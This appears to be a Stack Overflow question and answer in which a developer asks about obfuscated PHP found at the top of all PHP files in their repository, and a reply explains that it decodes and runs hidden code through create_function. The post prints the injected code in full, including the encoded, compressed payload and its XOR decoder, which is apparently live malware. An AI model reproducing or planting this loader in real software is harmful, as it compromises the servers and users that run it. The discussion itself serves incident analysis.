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Unexplained code appearing in all php files

I have this code on top of all my php files in the source control somehow

Can you someone please shed some light on what this is?

EDIT: I know its most likely bad, I know that it is trying to create functions. But what exactly are those functions going to do? It is too jumbled!! If some one can spend some time on this, then hats off to them.

Otherwise, I am attempting this tomorrow with a fresh mind.

Thanks fellow stackoverflowERS for all the help :)

<?php
     $qhtgndmn;
    $qhtgndmn = array(
        '$qhtgndmn[0]=array_pop($qhtgndmn);$twpxkaml=twpxkaml(1,13);$qhtgndmn[0]=$twpxkaml($qhtgndmn[2]);',
        '$qhtgndmn[2]=gzuncompress(twpxkaml(696,2300));',
        'cH5/V3l1ZWl1eHx6Z31PZHVhUmRpcWxreVl9eWV4ZnFoWGh/cGlzel1ZRUlGXF5QUktLSkRWQF5QRGVwcH11Ym14fXhpbHltdEF3Q3lEUURCWFlJd1NLWG12dnBac2R6SlVEXk9CTldCX1Zwe3FkaWFldSh6fm03MTk8L1ptTC0+JSY8WURuQnhuPyhhVUFVMGx1REtMayJScWhIUExDRTVHIkVBQm55cWRieGNHfn95b2Z1On5sZW1pKmtkc31lPWpjfnZlYnkpa3JnZ3VtO29pZHR0f2h3VmVYakN6dnYjPzlVUUduUURCWFVYXlRZSmV7cWVtPCROY2hubWJkInB0cH94I3l1fWJueWxuY0NDcDJrYXh5S1VHXU9DRVhYX0tnalpTQldKU0RBWkROSUxAR253UUhFU1pTT0JTX0RMQVBwViZRd1FEQlhVRUJCX1JDQURHUVVLRzZ0c34lY3lqUG1ZNmdmJWl/f3NoY3YpYmhmcnxvTXNsYHpna3ROc2B9XWJoe3FhYU1dRmRNVVtYUmphaE1dRkxDQkRZeDZke3glPndoY3kvc29gfVZNNmR7eCU+WERIIHdoaHFTNmR7eFZHdTZnZiVpf39zaGN2KXR5aXV4dGVUZnpEWEt/f2Rrb3ROY2R/Z1U3TFg3fHlvQ2thbm1lVk94ZkZ2THwhOGlkcX1+eWRhZy9md31sTWltaThgY350c3cjbGN1Q3F6Z3siOG5lf3NmfyNsY3U2Z2YlaX9/YWRqLHZpeTpvJEJsYz97K2JpU0I/ZCt4YmA3dzBOZD9mK0JDaFR6ZWRkVXBrUG0oYVdxZGJ4MD8+SFR2ZUo/ZytubXNycnB+f3xXUkh0V2RqdWJnemRRP2cra39ZeWdNfGhza0M/Zyt7YTBZU1ldLTcvOWlmUX9lfDAwaWw2cVZDYYyTEGN/ykH7oo4DNClEXPk9vz6xJkNyFmFoAY9aZftjFYgaJ07zJkdH8dn67yUjjfR69CvErfxz' . 'PlOOhSI6Erok5o1bA6nMJSDxxqq7Zz6Tz0YM+qBfuifH0GOxhs+wDbow12WMNREZRJOhI0++l8t4Tw5fHyIiTltPV1fM7hFJ3YY8UyVVXgz9dUIU4cSgOEmkMqnEBofXWVQzC2SQWdK2X/7j9mEPkL0WwFQXY2sKlpefbbtyupzcOtn64iETbtX9Qk7Pwd967v8wtNauzZFXoZ3kp/wTiH4SRs0xhWW3e1FBFHdv1//KCGIEG8OhKz/l3Nxc+l2fFeUdd3PIiobJ74PHLiHY93h9Dl7SFoFOFD1Os3+NcrhX22NUzURgdwvm8YtAHxwpXnsWs4jMGYdYLF0SWTks8X7DKwPzDCsET1IZ9XAr8+uQMuo9xfz+i64uMaIbefcL8+uahwpD+y69nfBST5p6vTY9+9Xi/RlejL9xwyp1mKyQ2cEiBCimYZzHIf0+5iE7Ytc1+ihMNfFv3lMdvffIz6Rq76MNy4gOQpJNWsVU3UcunOlr4r1hlCd35t+7KxDLiLFJD4SJxJSjOkEWl0UU8Am/rSkAd' . 'dMpbneYjz2YP+nXJu1ckKjtYP4VX8Vd7OQLb8cObiiTTw93W1gCp/LimsjhmYrOYpzvYtQicT2nsr5091XeGnWm+m2oxbsqUi5QGjMSSJbMvME7PFQPWU8aCUsopHbmPyxOJs7dPzBCNQBUhUr+8mrOcsbX3aMkjMynJ0ASbG0d4EnF6943KEQWqZMFe8tU/m+HcJuDssyWHmVxGWA4x2QQi1fYAD2act1p09RQf4irmqJinYdfG4y/AX0WaEImy9C5FeB8Mj5UGv18pAZ9O3O50cvTfmWRs0yroVieP6ZPPW0pDpCtOvE+jfTzyFhwOHazWYAu4ag+iHpWrU+OFZhUJX520KzaJnLAzA5N0wmDvdgoYtpnQ2eam7hil1t0F3KohSXhk91FTghMnhQdWbY+bC6V6EfO2QzAmTbDk+4nqyTmweMaYaDQ+bSmzZtMHmX5aH1MP0x/hQ6Jcf/uzJaShQKLP+N/PIId4atvXc9dyAW7OjubhFTkCuYwwLiI3CSGoWrJGXFIA3ThehZygyutB4TJqii14hrRJF5DJBfO/TB8lh9+k/W3RafZO5e' . 'O3602dC3+gik0rzVJwF0tvByeQdNlc8pi0zx6q0uAD2dFiVJls2FZebcUA9mABrO30vdbMfyabEldMkX+po+PkL63xJiahC4thVL1e4nWFcFxV9x7Ghfko/lu90HQKx20M6lw6H7zB2e+lso7K/NHiHefufUP7ACFPggcfLY/PKjdR4mrf0uMlGfF3NkU1wxbEDp7S8TBADcyvW1sTZenmKjRuynMZWsgzpaL1GbdxbxqCcZ8j0c07+9+9P1nxHvJgc8ivprlNJVvafZckzzR55LRxi5oUiaHczCE/tj3cDq+OfybEHUd+nqBkEibSrnxnsgNQnICSqIiqfWQU9Pnm2PW6cqe6R3SvK+fO9WnuVYr2L62smMwZDENU9H9zyS1odWMnmQI2LYiT46UblsDR8QGxakmpDGM8kSeob1ac0razk2DerXttvrtkQW7DlUcbSAfgNhxjMD2c8VjTndaD2CTLuTE0Q/bza7bj4pexmWS4cdEBm0jInUKQzvYuuu9WV14NebJmYGGomjoploNyVNTLEVcRGA6n51v2kKmfvT9ouHg4vjyT+H86rbFPfntj3yJBa4w+FNFEwimiXDzu0aGl+QFR0nwARSe1duCyC33NUkzMf0rbdtiXkmX5cfIhTW0pbrR7jutZABUcK8JONEOKUSKuMCwzxv/6JoX5z11J0a+btMArNMbz+UAMxhmxv/5FPW+RPM52gHCrXkpn/uXTuvUYWCr3Ks+fg9VggsdQuJGVWm2oM3lVeHAG5dCyqJtjl+OY8FwuP7PJNgCH+w2jS3dxXxGbX919c3BxDpGZ9imENYwU7K4h7LQ1zTytBETjPI3haqXM3cC3XJ4iOpmhB/mqTMBtAhNfNSuJyRqyA97ITUsCy3ZMzJ+f+schIIrwN/9mIowJNokAc1Z84Rdd5UCkeYeZeubY7Ar7d86uVCF8qvhptLc4KvF53MMazOLcfYczkf5F2oQSqaVOx/H' . '5Rv6TWovgn7QIn0Shle5p6H+uaNOEi9oHmR6ClizijBY+TyDkVSuL/CQM99uXwytsY5QV788xxL08zWRjeCRQCrmYH2f8t2+oPw2pc9qtpIqhgUvuWsUw6APob+QwEsyUuiHhnJPYSs3vvgUZbAJvIRESJ/uvRqQVOcH2jg+VlWE9JfJcaeKevHOB/eBLM/GJ3rGFU/3H6qkac4SfQ+HxEu8C+22F/gWC8tsuzul/NdMlSeuxdhlmj1JrFjms6HUv2g5bqPd5AFVhFde6u5nTXLMnAypnv/UoSv5y57w5IPqH6jlcEWLEOZzITGg2sdCLdWgyZTe7L6pnRcKDOdl6SCNsCq35lEzPNgQQFccoeY6hbhB7NyFoHWkZqzgJu+6UN/HXAaI0SGB9ENyTha63Hfxe5rKdmfzoz0PS5uSleltbId57Q+eZgNQh9SRfiHt7ID7+nliqZJNuM1jfbq9f0ES2U704OT23s7loST10r2TudVGhk/wIdBHxSrqMMo6hLw/teHuifLihrlZFobhS/fXnoeBt76I+kKNcfZWexkb5ekadmipuIr44u/iFo6dtl+2J8SUIdzKml5nSR99mBWfo7OlwhK/nS8NnmKoG37mgoPyGlRSjyIXV1/EbRKH+L2Jtk6A/1Jr04RwMeM+o9yFzc+dfYJhONPKcIa9TX/Ndn/zlCFp/7Xy+O8S5zljlOOydS4J0CIBcGFX+DfnfTdMpFwXP5VrFXwyc0fThx+5f1qz5RSWuxQry/CBEgnB1utKv2qc+g2T7hoC2uaSlRbnAXzwShfC9rYXUsvGpQH8V+6/OIok6YJabTr9feok9s43ifz15urUgIQxlBmPiwoYvSUDWe453LIFe+7nd/L0e5rCWr/uBqIDgnVZZVFre3FlbTwkTmNobm1iZGxY',
        "f\x7bqem\x3c\x24Nchnmbd"
    );
    $hvnlvgr  = 'create_';
    if (function_exists($hvnlvgr .= 'function') && !function_exists('twpxkaml')) {
        function twpxkaml($d, $j)
        {
            global $qhtgndmn;
            $v = str_pad($g = 'yPvhJ0qgMmbfaIEZ', $j, $g);
            $e = str_repeat("\x1f", $j);
            $f = str_repeat("\xe0", $j);
            $n = substr($qhtgndmn[0], $d, $j);
            return (($n ^ $v) & $e) | ($n & $f);
        }
        ;
        for ($xv = -1; ++$xv < 3; $hvnlvgr('', '}' . $qhtgndmn[$xv] . '{'));
    }
    ;
    unset($qhtgndmn);

    var_
     ?>

Looks like it's creating three anonymous functions with create_function, to execute obfuscated code it's hiding in the $qhtgndmn array and either decoding or obfuscating further with twpxkaml.

So assume it's malicious. Or by someone really, really bored. Check the commit log.

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